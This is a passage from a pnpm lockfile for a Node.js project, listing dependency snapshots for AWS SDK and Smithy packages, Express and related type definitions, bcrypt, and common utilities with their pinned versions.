'@smithy/middleware-endpoint': 2.1.3 1512 | '@smithy/middleware-retry': 2.0.18 1513 | '@smithy/middleware-serde': 2.0.12 1514 | '@smithy/middleware-stack': 2.0.6 1515 | '@smithy/node-config-provider': 2.1.3 1516 | '@smithy/node-http-handler': 2.1.8 1517 | '@smithy/protocol-http': 3.0.8 1518 | '@smithy/smithy-client': 2.1.12 1519 | '@smithy/types': 2.4.0 1520 | '@smithy/url-parser': 2.0.12 1521 | '@smithy/util-base64': 2.0.0 1522 | '@smithy/util-body-length-browser': 2.0.0 1523 | '@smithy/util-body-length-node': 2.1.0 1524 | '@smithy/util-defaults-mode-browser': 2.0.16 1525 | '@smithy/util-defaults-mode-node': 2.0.21 1526 | '@smithy/util-endpoints': 1.0.2 1527 | '@smithy/util-retry': 2.0.5 1528 | '@smithy/util-utf8': 2.0.0 1529 | tslib: 2.6.2 1530 | transitivePeerDependencies: 1531 | - aws-crt 1532 | optional: true 1533 | 1534 | '@aws-sdk/client-sts@3.445.0': 1535 | dependencies: 1536 | '@aws-crypto/sha256-browser': 3.0.0 1537 | '@aws-crypto/sha256-js': 3.0.0 1538 | '@aws-sdk/core': 3.445.0 1539 | '@aws-sdk/credential-provider-node': 3.445.0 1540 | '@aws-sdk/middleware-host-header': 3.433.0 1541 | '@aws-sdk/middleware-logger': 3.433.0 1542 | '@aws-sdk/middleware-recursion-detection': 3.433.0 1543 | '@aws-sdk/middleware-sdk-sts': 3.433.0 1544 | '@aws-sdk/middleware-signing': 3.433.0 1545 | '@aws-sdk/middleware-user-agent': 3.438.0 1546 | '@aws-sdk/region-config-resolver': 3.433.0 1547 | '@aws-sdk/types': 3.433.0 1548 | '@aws-sdk/util-endpoints': 3.438.0 1549 | '@aws-sdk/util-user-agent-browser': 3.433.0 1550 | '@aws-sdk/util-user-agent-node': 3.437.0 1551 | '@smithy/config-resolver': 2.0.16 1552 | '@smithy/fetch-http-handler': 2.2.4 1553 | '@smithy/hash-node': 2.0.12 1554 | '@smithy/invalid-dependency': 2.0.12 1555 | '@smithy/middleware-content-length': 2.0.14 1556 | '@smithy/middleware-endpoint': 2.1.3 1557 | '@smithy/middleware-retry': 2.0.18 1558 | '@smithy/middleware-serde': 2.0.12 1559 | '@smithy/middleware-stack': 2.0.6 1560 | '@smithy/node-config-provider': 2.1.3 1561 | '@smithy/node-http-handler': 2.1.8 1562 | '@smithy/protocol-http': 3.0.8 1563 | '@smithy/smithy-client': 2.1.12 1564 | '@smithy/types': 2.4.0 1565 | '@smithy/url-parser': 2.0.12 1566 | '@smithy/util-base64': 2.0.0 1567 | '@smithy/util-body-length-browser': 2.0.0 1568 | '@smithy/util-body-length-node': 2.1.0 1569 | '@smithy/util-defaults-mode-browser': 2.0.16 1570 | '@smithy/util-defaults-mode-node': 2.0.21 1571 | '@smithy/util-endpoints': 1.0.2 1572 | '@smithy/util-retry': 2.0.5 1573 | '@smithy/util-utf8': 2.0.0 1574 | fast-xml-parser: 4.2.5 1575 | tslib: 2.6.2 1576 | transitivePeerDependencies: 1577 | - aws-crt 1578 | optional: true 1579 | 1580 | '@aws-sdk/core@3.445.0': 1581 | dependencies: 1582 | '@smithy/smithy-client': 2.1.12 1583 | tslib: 2.6.2 1584 | optional: true 1585 | 1586 | '@aws-sdk/credential-provider-cognito-identity@3.445.0': 1587 | dependencies: 1588 | '@aws-sdk/client-cognito-identity': 3.445.0 1589 | '@aws-sdk/types': 3.433.0 1590 | '@smithy/property-provider': 2.0.13 1591 | '@smithy/types': 2.4.0 1592 | tslib: 2.6.2 1593 | transitivePeerDependencies: 1594 | - aws-crt 1595 | optional: true 1596 | 1597 | '@aws-sdk/credential-provider-env@3.433.0': 1598 | dependencies: 1599 | '@aws-sdk/types': 3.433.0 1600 | '@smithy/property-provider': 2.0.13 1601 | '@smithy/types': 2.4.0 1602 | tslib: 2.6.2 1603 | optional: true 1604 | 1605 | '@aws-sdk/credential-provider-http@3.435.0': 1606 | dependencies: 1607 | '@aws-sdk/types': 3.433.0 1608 | '@smithy/fetch-http-handler': 2.2.4 1609 | '@smithy/node-http-handler': 2.1.8 1610 | '@smithy/property-provider': 2.0.13 1611 | '@smithy/protocol-http': 3.0.8 1612 | '@smithy/smithy-client': 2.1.12 1613 | '@smithy/types': 2.4.0 1614 | '@smithy/util-stream': 2.0.17 1615 | tslib: 2.6.2 1616 | optional: true 1617 | 1618 | '@aws-sdk/credential-provider-ini@3.445.0': 1619 | dependencies: 1620 | '@aws-sdk/credential-provider-env': 3.433.0 1621 | '@aws-sdk/credential-provider-process': 3.433.0 1622 | '@aws-sdk/credential-provider-sso': 3.445.0 1623 | '@aws-sdk/credential-provider-web-identity': 3.433.0 1624 | '@aws-sdk/types': 3.433.0 1625 | '@smithy/credential-provider-imds': 2.0.18 1626 | '@smithy/property-provider': 2.0.13 1627 | '@smithy/shared-ini-file-loader': 2.2.2 1628 | '@smithy/types': 2.4.0 1629 | tslib: 2.6.2 1630 | transitivePeerDependencies: 1631 | - aws-crt 1632 | optional: true 1633 | 1634 | '@aws-sdk/credential-provider-node@3.445.0': 1635 | dependencies: 1636 | '@aws-sdk/credential-provider-env': 3.433.0 1637 | '@aws-sdk/credential-provider-ini': 3.445.0 1638 | '@aws-sdk/credential-provider-process': 3.433.0 1639 | '@aws-sdk/credential-provider-sso': 3.445.0 1640 | '@aws-sdk/credential-provider-web-identity': 3.433.0 1641 | '@aws-sdk/types': 3.433.0 1642 | '@smithy/credential-provider-imds': 2.0.18 1643 | '@smithy/property-provider': 2.0.13 1644 | '@smithy/shared-ini-file-loader': 2.2.2 1645 | '@smithy/types': 2.4.0 1646 | tslib: 2.6.2 1647 | transitivePeerDependencies: 1648 | - aws-crt 1649 | optional: true 1650 | 1651 | '@aws-sdk/credential-provider-process@3.433.0': 1652 | dependencies: 1653 | '@aws-sdk/types': 3.433.0 1654 | '@smithy/property-provider': 2.0.13 1655 | '@smithy/shared-ini-file-loader': 2.2.2 1656 | '@smithy/types': 2.4.0 1657 | tslib: 2.6.2 1658 | optional: true 1659 | 1660 | '@aws-sdk/credential-provider-sso@3.445.0': 1661 | dependencies: 1662 | '@aws-sdk/client-sso': 3.445.0 1663 | '@aws-sdk/token-providers': 3.438.0 1664 | '@aws-sdk/types': 3.433.0 1665 | '@smithy/property-provider': 2.0.13 1666 | '@smithy/shared-ini-file-loader': 2.2.2 1667 | '@smithy/types': 2.4.0 1668 | tslib: 2.6.2 1669 | transitivePeerDependencies: 1670 | - aws-crt 1671 | optional: true 1672 | 1673 | '@aws-sdk/credential-provider-web-identity@3.433.0': 1674 | dependencies: 1675 | '@aws-sdk/types': 3.433.0 1676 | '@smithy/property-provider': 2.0.13 1677 | '@smithy/types': 2.4.0 1678 | tslib: 2.6.2 1679 | optional: true 1680 | 1681 | '@aws-sdk/credential-providers@3.445.0': 1682 | dependencies: 1683 | '@aws-sdk/client-cognito-identity': 3.445.0 1684 | '@aws-sdk/client-sso': 3.445.0 1685 | '@aws-sdk/client-sts': 3.445.0 1686 | '@aws-sdk/credential-provider-cognito-identity': 3.445.0 1687 | '@aws-sdk/credential-provider-env': 3.433.0 1688 | '@aws-sdk/credential-provider-http': 3.435.0 1689 | '@aws-sdk/credential-provider-ini': 3.445.0 1690 | '@aws-sdk/credential-provider-node': 3.445.0 1691 | '@aws-sdk/credential-provider-process': 3.433.0 1692 | '@aws-sdk/credential-provider-sso': 3.445.0 1693 | '@aws-sdk/credential-provider-web-identity': 3.433.0 1694 | '@aws-sdk/types': 3.433.0 1695 | '@smithy/credential-provider-imds': 2.0.18 1696 | '@smithy/property-provider': 2.0.13 1697 | '@smithy/types': 2.4.0 1698 | tslib: 2.6.2 1699 | transitivePeerDependencies: 1700 | - aws-crt 1701 | optional: true 1702 | 1703 | '@aws-sdk/middleware-host-header@3.433.0': 1704 | dependencies: 1705 | '@aws-sdk/types': 3.433.0 1706 | '@smithy/protocol-http': 3.0.8 1707 | '@smithy/types': 2.4.0 1708 | tslib: 2.6.2 1709 | optional: true 1710 | 1711 | '@aws-sdk/middleware-logger@3.433.0': 1712 | dependencies: 1713 | '@aws-sdk/types': 3.433.0 1714 | '@smithy/types': 2.4.0 1715 | tslib: 2.6.2 1716 | optional: true 1717 | 1718 | '@aws-sdk/middleware-recursion-detection@3.433.0': 1719 | dependencies: 1720 | '@aws-sdk/types': 3.433.0 1721 | '@smithy/protocol-http': 3.0.8 1722 | '@smithy/types': 2.4.0 1723 | tslib: 2.6.2 1724 | optional: true 1725 | 1726 | '@aws-sdk/middleware-sdk-sts@3.433.0': 1727 | dependencies: 1728 | '@aws-sdk/middleware-signing': 3.433.0 1729 | '@aws-sdk/types': 3.433.0 1730 | '@smithy/types': 2.4.0 1731 | tslib: 2.6.2 1732 | optional: true 1733 | 1734 | '@aws-sdk/middleware-signing@3.433.0': 1735 | dependencies: 1736 | '@aws-sdk/types': 3.433.0 1737 | '@smithy/property-provider': 2.0.13 1738 | '@smithy/protocol-http': 3.0.8 1739 | '@smithy/signature-v4': 2.0.12 1740 | '@smithy/types': 2.4.0 1741 | '@smithy/util-middleware': 2.0.5 1742 | tslib: 2.6.2 1743 | optional: true 1744 | 1745 | '@aws-sdk/middleware-user-agent@3.438.0': 1746 | dependencies: 1747 | '@aws-sdk/types': 3.433.0 1748 | '@aws-sdk/util-endpoints': 3.438.0 1749 | '@smithy/protocol-http': 3.0.8 1750 | '@smithy/types': 2.4.0 1751 | tslib: 2.6.2 1752 | optional: true 1753 | 1754 | '@aws-sdk/region-config-resolver@3.433.0': 1755 | dependencies: 1756 | '@smithy/node-config-provider': 2.1.3 1757 | '@smithy/types': 2.4.0 1758 | '@smithy/util-config-provider': 2.0.0 1759 | '@smithy/util-middleware': 2.0.5 1760 | tslib: 2.6.2 1761 | optional: true 1762 | 1763 | '@aws-sdk/token-providers@3.438.0': 1764 | dependencies: 1765 | '@aws-crypto/sha256-browser': 3.0.0 1766 | '@aws-crypto/sha256-js': 3.0.0 1767 | '@aws-sdk/middleware-host-header': 3.433.0 1768 | '@aws-sdk/middleware-logger': 3.433.0 1769 | '@aws-sdk/middleware-recursion-detection': 3.433.0 1770 | '@aws-sdk/middleware-user-agent': 3.438.0 1771 | '@aws-sdk/region-config-resolver': 3.433.0 1772 | '@aws-sdk/types': 3.433.0 1773 | '@aws-sdk/util-endpoints': 3.438.0 1774 | '@aws-sdk/util-user-agent-browser': 3.433.0 1775 | '@aws-sdk/util-user-agent-node': 3.437.0 1776 | '@smithy/config-resolver': 2.0.16 1777 | '@smithy/fetch-http-handler': 2.2.4 1778 | '@smithy/hash-node': 2.0.12 1779 | '@smithy/invalid-dependency': 2.0.12 1780 | '@smithy/middleware-content-length': 2.0.14 1781 | '@smithy/middleware-endpoint': 2.1.3 1782 | '@smithy/middleware-retry': 2.0.18 1783 | '@smithy/middleware-serde': 2.0.12 1784 | '@smithy/middleware-stack': 2.0.6 1785 | '@smithy/node-config-provider': 2.1.3 1786 | '@smithy/node-http-handler': 2.1.8 1787 | '@smithy/property-provider': 2.0.13 1788 | '@smithy/protocol-http': 3.0.8 1789 | '@smithy/shared-ini-file-loader': 2.2.2 1790 | '@smithy/smithy-client': 2.1.12 1791 | '@smithy/types': 2.4.0 1792 | '@smithy/url-parser': 2.0.12 1793 | '@smithy/util-base64': 2.0.0 1794 | '@smithy/util-body-length-browser': 2.0.0 1795 | '@smithy/util-body-length-node': 2.1.0 1796 | '@smithy/util-defaults-mode-browser': 2.0.16 1797 | '@smithy/util-defaults-mode-node': 2.0.21 1798 | '@smithy/util-endpoints': 1.0.2 1799 | '@smithy/util-retry': 2.0.5 1800 | '@smithy/util-utf8': 2.0.0 1801 | tslib: 2.6.2 1802 | transitivePeerDependencies: 1803 | - aws-crt 1804 | optional: true 1805 | 1806 | '@aws-sdk/types@3.433.0': 1807 | dependencies: 1808 | '@smithy/types': 2.4.0 1809 | tslib: 2.6.2 1810 | optional: true 1811 | 1812 | '@aws-sdk/util-endpoints@3.438.0': 1813 | dependencies: 1814 | '@aws-sdk/types': 3.433.0 1815 | '@smithy/util-endpoints': 1.0.2 1816 | tslib: 2.6.2 1817 | optional: true 1818 | 1819 | '@aws-sdk/util-locate-window@3.310.0': 1820 | dependencies: 1821 | tslib: 2.6.2 1822 | optional: true 1823 | 1824 | '@aws-sdk/util-user-agent-browser@3.433.0': 1825 | dependencies: 1826 | '@aws-sdk/types': 3.433.0 1827 | '@smithy/types': 2.4.0 1828 | bowser: 2.11.0 1829 | tslib: 2.6.2 1830 | optional: true 1831 | 1832 | '@aws-sdk/util-user-agent-node@3.437.0': 1833 | dependencies: 1834 | '@aws-sdk/types': 3.433.0 1835 | '@smithy/node-config-provider': 2.1.3 1836 | '@smithy/types': 2.4.0 1837 | tslib: 2.6.2 1838 | optional: true 1839 | 1840 | '@aws-sdk/util-utf8-browser@3.259.0': 1841 | dependencies: 1842 | tslib: 2.6.2 1843 | optional: true 1844 | 1845 | '@cspotcode/source-map-support@0.8.1': 1846 | dependencies: 1847 | '@jridgewell/trace-mapping': 0.3.9 1848 | 1849 | '@hapi/hoek@9.3.0': {} 1850 | 1851 | '@hapi/topo@5.1.0': 1852 | dependencies: 1853 | '@hapi/hoek': 9.3.0 1854 | 1855 | '@jridgewell/resolve-uri@3.1.1': {} 1856 | 1857 | '@jridgewell/sourcemap-codec@1.4.15': {} 1858 | 1859 | '@jridgewell/trace-mapping@0.3.9': 1860 | dependencies: 1861 | '@jridgewell/resolve-uri': 3.1.1 1862 | '@jridgewell/sourcemap-codec': 1.4.15 1863 | 1864 | '@jsdevtools/ono@7.1.3': {} 1865 | 1866 | '@mapbox/node-pre-gyp@1.0.11': 1867 | dependencies: 1868 | detect-libc: 2.0.2 1869 | https-proxy-agent: 5.0.1 1870 | make-dir: 3.1.0 1871 | node-fetch: 2.7.0 1872 | nopt: 5.0.0 1873 | npmlog: 5.0.1 1874 | rimraf: 3.0.2 1875 | semver: 7.5.4 1876 | tar: 6.2.0 1877 | transitivePeerDependencies: 1878 | - encoding 1879 | - supports-color 1880 | 1881 | '@mongodb-js/saslprep@1.1.1': 1882 | dependencies: 1883 | sparse-bitfield: 3.0.3 1884 | optional: true 1885 | 1886 | '@sideway/address@4.1.4': 1887 | dependencies: 1888 | '@hapi/hoek': 9.3.0 1889 | 1890 | '@sideway/formula@3.0.1': {} 1891 | 1892 | '@sideway/pinpoint@2.0.0': {} 1893 | 1894 | '@smithy/abort-controller@2.0.12': 1895 | dependencies: 1896 | '@smithy/types': 2.4.0 1897 | tslib: 2.6.2 1898 | optional: true 1899 | 1900 | '@smithy/config-resolver@2.0.16': 1901 | dependencies: 1902 | '@smithy/node-config-provider': 2.1.3 1903 | '@smithy/types': 2.4.0 1904 | '@smithy/util-config-provider': 2.0.0 1905 | '@smithy/util-middleware': 2.0.5 1906 | tslib: 2.6.2 1907 | optional: true 1908 | 1909 | '@smithy/credential-provider-imds@2.0.18': 1910 | dependencies: 1911 | '@smithy/node-config-provider': 2.1.3 1912 | '@smithy/property-provider': 2.0.13 1913 | '@smithy/types': 2.4.0 1914 | '@smithy/url-parser': 2.0.12 1915 | tslib: 2.6.2 1916 | optional: true 1917 | 1918 | '@smithy/eventstream-codec@2.0.12': 1919 | dependencies: 1920 | '@aws-crypto/crc32': 3.0.0 1921 | '@smithy/types': 2.4.0 1922 | '@smithy/util-hex-encoding': 2.0.0 1923 | tslib: 2.6.2 1924 | optional: true 1925 | 1926 | '@smithy/fetch-http-handler@2.2.4': 1927 | dependencies: 1928 | '@smithy/protocol-http': 3.0.8 1929 | '@smithy/querystring-builder': 2.0.12 1930 | '@smithy/types': 2.4.0 1931 | '@smithy/util-base64': 2.0.0 1932 | tslib: 2.6.2 1933 | optional: true 1934 | 1935 | '@smithy/hash-node@2.0.12': 1936 | dependencies: 1937 | '@smithy/types': 2.4.0 1938 | '@smithy/util-buffer-from': 2.0.0 1939 | '@smithy/util-utf8': 2.0.0 1940 | tslib: 2.6.2 1941 | optional: true 1942 | 1943 | '@smithy/invalid-dependency@2.0.12': 1944 | dependencies: 1945 | '@smithy/types': 2.4.0 1946 | tslib: 2.6.2 1947 | optional: true 1948 | 1949 | '@smithy/is-array-buffer@2.0.0': 1950 | dependencies: 1951 | tslib: 2.6.2 1952 | optional: true 1953 | 1954 | '@smithy/middleware-content-length@2.0.14': 1955 | dependencies: 1956 | '@smithy/protocol-http': 3.0.8 1957 | '@smithy/types': 2.4.0 1958 | tslib: 2.6.2 1959 | optional: true 1960 | 1961 | '@smithy/middleware-endpoint@2.1.3': 1962 | dependencies: 1963 | '@smithy/middleware-serde': 2.0.12 1964 | '@smithy/node-config-provider': 2.1.3 1965 | '@smithy/shared-ini-file-loader': 2.2.2 1966 | '@smithy/types': 2.4.0 1967 | '@smithy/url-parser': 2.0.12 1968 | '@smithy/util-middleware': 2.0.5 1969 | tslib: 2.6.2 1970 | optional: true 1971 | 1972 | '@smithy/middleware-retry@2.0.18': 1973 | dependencies: 1974 | '@smithy/node-config-provider': 2.1.3 1975 | '@smithy/protocol-http': 3.0.8 1976 | '@smithy/service-error-classification': 2.0.5 1977 | '@smithy/types': 2.4.0 1978 | '@smithy/util-middleware': 2.0.5 1979 | '@smithy/util-retry': 2.0.5 1980 | tslib: 2.6.2 1981 | uuid: 8.3.2 1982 | optional: true 1983 | 1984 | '@smithy/middleware-serde@2.0.12': 1985 | dependencies: 1986 | '@smithy/types': 2.4.0 1987 | tslib: 2.6.2 1988 | optional: true 1989 | 1990 | '@smithy/middleware-stack@2.0.6': 1991 | dependencies: 1992 | '@smithy/types': 2.4.0 1993 | tslib: 2.6.2 1994 | optional: true 1995 | 1996 | '@smithy/node-config-provider@2.1.3': 1997 | dependencies: 1998 | '@smithy/property-provider': 2.0.13 1999 | '@smithy/shared-ini-file-loader': 2.2.2 2000 | '@smithy/types': 2.4.0 2001 | tslib: 2.6.2 2002 | optional: true 2003 | 2004 | '@smithy/node-http-handler@2.1.8': 2005 | dependencies: 2006 | '@smithy/abort-controller': 2.0.12 2007 | '@smithy/protocol-http': 3.0.8 2008 | '@smithy/querystring-builder': 2.0.12 2009 | '@smithy/types': 2.4.0 2010 | tslib: 2.6.2 2011 | optional: true 2012 | 2013 | '@smithy/property-provider@2.0.13': 2014 | dependencies: 2015 | '@smithy/types': 2.4.0 2016 | tslib: 2.6.2 2017 | optional: true 2018 | 2019 | '@smithy/protocol-http@3.0.8': 2020 | dependencies: 2021 | '@smithy/types': 2.4.0 2022 | tslib: 2.6.2 2023 | optional: true 2024 | 2025 | '@smithy/querystring-builder@2.0.12': 2026 | dependencies: 2027 | '@smithy/types': 2.4.0 2028 | '@smithy/util-uri-escape': 2.0.0 2029 | tslib: 2.6.2 2030 | optional: true 2031 | 2032 | '@smithy/querystring-parser@2.0.12': 2033 | dependencies: 2034 | '@smithy/types': 2.4.0 2035 | tslib: 2.6.2 2036 | optional: true 2037 | 2038 | '@smithy/service-error-classification@2.0.5': 2039 | dependencies: 2040 | '@smithy/types': 2.4.0 2041 | optional: true 2042 | 2043 | '@smithy/shared-ini-file-loader@2.2.2': 2044 | dependencies: 2045 | '@smithy/types': 2.4.0 2046 | tslib: 2.6.2 2047 | optional: true 2048 | 2049 | '@smithy/signature-v4@2.0.12': 2050 | dependencies: 2051 | '@smithy/eventstream-codec': 2.0.12 2052 | '@smithy/is-array-buffer': 2.0.0 2053 | '@smithy/types': 2.4.0 2054 | '@smithy/util-hex-encoding': 2.0.0 2055 | '@smithy/util-middleware': 2.0.5 2056 | '@smithy/util-uri-escape': 2.0.0 2057 | '@smithy/util-utf8': 2.0.0 2058 | tslib: 2.6.2 2059 | optional: true 2060 | 2061 | '@smithy/smithy-client@2.1.12': 2062 | dependencies: 2063 | '@smithy/middleware-stack': 2.0.6 2064 | '@smithy/types': 2.4.0 2065 | '@smithy/util-stream': 2.0.17 2066 | tslib: 2.6.2 2067 | optional: true 2068 | 2069 | '@smithy/types@2.4.0': 2070 | dependencies: 2071 | tslib: 2.6.2 2072 | optional: true 2073 | 2074 | '@smithy/url-parser@2.0.12': 2075 | dependencies: 2076 | '@smithy/querystring-parser': 2.0.12 2077 | '@smithy/types': 2.4.0 2078 | tslib: 2.6.2 2079 | optional: true 2080 | 2081 | '@smithy/util-base64@2.0.0': 2082 | dependencies: 2083 | '@smithy/util-buffer-from': 2.0.0 2084 | tslib: 2.6.2 2085 | optional: true 2086 | 2087 | '@smithy/util-body-length-browser@2.0.0': 2088 | dependencies: 2089 | tslib: 2.6.2 2090 | optional: true 2091 | 2092 | '@smithy/util-body-length-node@2.1.0': 2093 | dependencies: 2094 | tslib: 2.6.2 2095 | optional: true 2096 | 2097 | '@smithy/util-buffer-from@2.0.0': 2098 | dependencies: 2099 | '@smithy/is-array-buffer': 2.0.0 2100 | tslib: 2.6.2 2101 | optional: true 2102 | 2103 | '@smithy/util-config-provider@2.0.0': 2104 | dependencies: 2105 | tslib: 2.6.2 2106 | optional: true 2107 | 2108 | '@smithy/util-defaults-mode-browser@2.0.16': 2109 | dependencies: 2110 | '@smithy/property-provider': 2.0.13 2111 | '@smithy/smithy-client': 2.1.12 2112 | '@smithy/types': 2.4.0 2113 | bowser: 2.11.0 2114 | tslib: 2.6.2 2115 | optional: true 2116 | 2117 | '@smithy/util-defaults-mode-node@2.0.21': 2118 | dependencies: 2119 | '@smithy/config-resolver': 2.0.16 2120 | '@smithy/credential-provider-imds': 2.0.18 2121 | '@smithy/node-config-provider': 2.1.3 2122 | '@smithy/property-provider': 2.0.13 2123 | '@smithy/smithy-client': 2.1.12 2124 | '@smithy/types': 2.4.0 2125 | tslib: 2.6.2 2126 | optional: true 2127 | 2128 | '@smithy/util-endpoints@1.0.2': 2129 | dependencies: 2130 | '@smithy/node-config-provider': 2.1.3 2131 | '@smithy/types': 2.4.0 2132 | tslib: 2.6.2 2133 | optional: true 2134 | 2135 | '@smithy/util-hex-encoding@2.0.0': 2136 | dependencies: 2137 | tslib: 2.6.2 2138 | optional: true 2139 | 2140 | '@smithy/util-middleware@2.0.5': 2141 | dependencies: 2142 | '@smithy/types': 2.4.0 2143 | tslib: 2.6.2 2144 | optional: true 2145 | 2146 | '@smithy/util-retry@2.0.5': 2147 | dependencies: 2148 | '@smithy/service-error-classification': 2.0.5 2149 | '@smithy/types': 2.4.0 2150 | tslib: 2.6.2 2151 | optional: true 2152 | 2153 | '@smithy/util-stream@2.0.17': 2154 | dependencies: 2155 | '@smithy/fetch-http-handler': 2.2.4 2156 | '@smithy/node-http-handler': 2.1.8 2157 | '@smithy/types': 2.4.0 2158 | '@smithy/util-base64': 2.0.0 2159 | '@smithy/util-buffer-from': 2.0.0 2160 | '@smithy/util-hex-encoding': 2.0.0 2161 | '@smithy/util-utf8': 2.0.0 2162 | tslib: 2.6.2 2163 | optional: true 2164 | 2165 | '@smithy/util-uri-escape@2.0.0': 2166 | dependencies: 2167 | tslib: 2.6.2 2168 | optional: true 2169 | 2170 | '@smithy/util-utf8@2.0.0': 2171 | dependencies: 2172 | '@smithy/util-buffer-from': 2.0.0 2173 | tslib: 2.6.2 2174 | optional: true 2175 | 2176 | '@tsconfig/node10@1.0.9': {} 2177 | 2178 | '@tsconfig/node12@1.0.11': {} 2179 | 2180 | '@tsconfig/node14@1.0.3': {} 2181 | 2182 | '@tsconfig/node16@1.0.4': {} 2183 | 2184 | '@types/bcrypt@5.0.2': 2185 | dependencies: 2186 | '@types/node': 18.18.9 2187 | 2188 | '@types/body-parser@1.19.5': 2189 | dependencies: 2190 | '@types/connect': 3.4.38 2191 | '@types/node': 18.18.9 2192 | 2193 | '@types/connect@3.4.38': 2194 | dependencies: 2195 | '@types/node': 18.18.9 2196 | 2197 | '@types/cors@2.8.16': 2198 | dependencies: 2199 | '@types/node': 18.18.9 2200 | 2201 | '@types/express-serve-static-core@4.17.41': 2202 | dependencies: 2203 | '@types/node': 18.18.9 2204 | '@types/qs': 6.9.10 2205 | '@types/range-parser': 1.2.7 2206 | '@types/send': 0.17.4 2207 | 2208 | '@types/express-session@1.17.10': 2209 | dependencies: 2210 | '@types/express': 4.17.21 2211 | 2212 | '@types/express@4.17.21': 2213 | dependencies: 2214 | '@types/body-parser': 1.19.5 2215 | '@types/express-serve-static-core': 4.17.41 2216 | '@types/qs': 6.9.10 2217 | '@types/serve-static': 1.15.5 2218 | 2219 | '@types/http-errors@2.0.4': {} 2220 | 2221 | '@types/json-schema@7.0.15': {} 2222 | 2223 | '@types/jsonwebtoken@9.0.5': 2224 | dependencies: 2225 | '@types/node': 18.18.9 2226 | 2227 | '@types/mime@1.3.5': {} 2228 | 2229 | '@types/mime@3.0.4': {} 2230 | 2231 | '@types/node@18.18.9': 2232 | dependencies: 2233 | undici-types: 5.26.5 2234 | 2235 | '@types/qs@6.9.10': {} 2236 | 2237 | '@types/range-parser@1.2.7': {} 2238 | 2239 | '@types/send@0.17.4': 2240 | dependencies: 2241 | '@types/mime': 1.3.5 2242 | '@types/node': 18.18.9 2243 | 2244 | '@types/serve-static@1.15.5': 2245 | dependencies: 2246 | '@types/http-errors': 2.0.4 2247 | '@types/mime': 3.0.4 2248 | '@types/node': 18.18.9 2249 | 2250 | '@types/webidl-conversions@7.0.3': {} 2251 | 2252 | '@types/whatwg-url@8.2.2': 2253 | dependencies: 2254 | '@types/node': 18.18.9 2255 | '@types/webidl-conversions': 7.0.3 2256 | 2257 | abbrev@1.1.1: {} 2258 | 2259 | accepts@1.3.8: 2260 | dependencies: 2261 | mime-types: 2.1.35 2262 | negotiator: 0.6.3 2263 | 2264 | acorn-walk@8.3.0: {} 2265 | 2266 | acorn@8.11.2: {} 2267 | 2268 | agent-base@6.0.2: 2269 | dependencies: 2270 | debug: 4.3.4 2271 | transitivePeerDependencies: 2272 | - supports-color 2273 | 2274 | ansi-regex@5.0.1: {} 2275 | 2276 | anymatch@3.1.3: 2277 | dependencies: 2278 | normalize-path: 3.0.0 2279 | picomatch: 2.3.1 2280 | 2281 | aproba@2.0.0: {} 2282 | 2283 | are-we-there-yet@2.0.0: 2284 | dependencies: 2285 | delegates: 1.0.0 2286 | readable-stream: 3.6.2 2287 | 2288 | arg@4.1.3: {} 2289 | 2290 | argparse@2.0.1: {} 2291 | 2292 | array-flatten@1.1.1: {} 2293 | 2294 | balanced-match@1.0.2: {} 2295 | 2296 | base64-js@1.5.1: {} 2297 | 2298 | bcrypt@5.1.1: 2299 | dependencies: 2300 | '@mapbox/node-pre-gyp': 1.0.11 2301 | node-addon-api: 5.1.0 2302 | transitivePeerDependencies: 2303 | - encoding 2304 | - supports-color 2305 | 2306 | binary-extensions@2.2.0: {} 2307 | 2308 | body-parser@1.20.1: 2309 | dependencies: 2310 | bytes: 3.1.2 2311 | content-type: 1.0.5 2312 | debug: 2.6.9 2313 | depd: 2.0.0 2314 | destroy: 1.2.0 2315 | http-errors: 2.0.0 2316 | iconv-lite: 0.4.24 2317 | on-finished: 2.4.1 2318 | qs: 6.11.0 2319 | raw-body: 2.5.1 2320 | type-is: 1.6.18 2321 | unpipe: 1.0.0 2322 | transitivePeerDependencies: 2323 | - supports-color 2324 | 2325 | body-parser@1.20.2: 2326 | dependencies: 2327 | bytes: 3.1.2 2328 | content-type: 1.0.5 2329 | debug: 2.6.9 2330 | depd: 2.0.0 2331 | destroy: 1.2.0 2332 | http-errors: 2.0.0 2333 | iconv-lite: 0.4.24 2334 | on-finished: 2.4.1 2335 | qs: 6.11.0 2336 | raw-body: 2.5.2 2337 | type-is: 1.6.18 2338 | unpipe: 1.0.0 2339 | transitivePeerDependencies: 2340 | - supports-color 2341 | 2342 | bowser@2.11.0: 2343 | optional: true 2344 | 2345 | brace-expansion@1.1.11: 2346 | dependencies: 2347 | balanced-match: 1.0.2 2348 | concat-map: 0.0.1 2349 | 2350 | braces@3.0.2: 2351 | dependencies: 2352 | fill-range: 7.0.1 2353 | 2354 | bson@4.7.2: 2355 | dependencies: 2356 | buffer: 5.7.1 2357 | 2358 | buffer-equal-constant-time@1.0.1: {} 2359 | 2360 | buffer@5.7.1: 2361 | dependencies: 2362 | base64-js: 1.5.1 2363 | ieee754: 1.2.1 2364 | 2365 | bytes@3.1.2: {} 2366 | 2367 | call-bind@1.0.5: 2368 | dependencies: 2369 | function-bind: 1.1.2 2370 | get-intrinsic: 1.2.2 2371 | set-function-length: 1.1.1 2372 | 2373 | call-me-maybe@1.0.2: {} 2374 | 2375 | chokidar@3.5.3: 2376 | dependencies: 2377 | anymatch: 3.1.3 2378 | braces: 3.0.2 2379 | glob-parent: 5.1.2 2380 | is-binary-path: 2.1.0 2381 | is-glob: 4.0.3 2382 | normalize-path: 3.0.0 2383 | readdirp: 3.6.0 2384 | optionalDependencies: 2385 | fsevents: 2.3.3 2386 | 2387 | chownr@2.0.0: {} 2388 | 2389 | color-support@1.1.3: {} 2390 | 2391 | commander@6.2.0: {} 2392 | 2393 | commander@9.5.0: 2394 | optional: true 2395 | 2396 | concat-map@0.0.1: {} 2397 | 2398 | console-control-strings@1.1.0: {} 2399 | 2400 | content-disposition@0.5.4: 2401 | dependencies: 2402 | safe-buffer: 5.2.1 2403 | 2404 | content-type@1.0.5: {} 2405 | 2406 | cookie-signature@1.0.6: {} 2407 | 2408 | cookie@0.4.2: {} 2409 | 2410 | cookie@0.5.0: {} 2411 | 2412 | cors@2.8.5: 2413 | dependencies: 2414 | object-assign: 4.1.1 2415 | vary: 1.1.2 2416 | 2417 | create-require@1.1.1: {} 2418 | 2419 | debug@2.6.9: 2420 | dependencies: 2421 | ms: 2.0.0 2422 | 2423 | debug@3.2.7(supports-color@5.5.0): 2424 | dependencies: 2425 | ms: 2.1.3 2426 | supports-color: 5.5.0 2427 | 2428 | debug@4.3.4: 2429 | dependencies: 2430 | 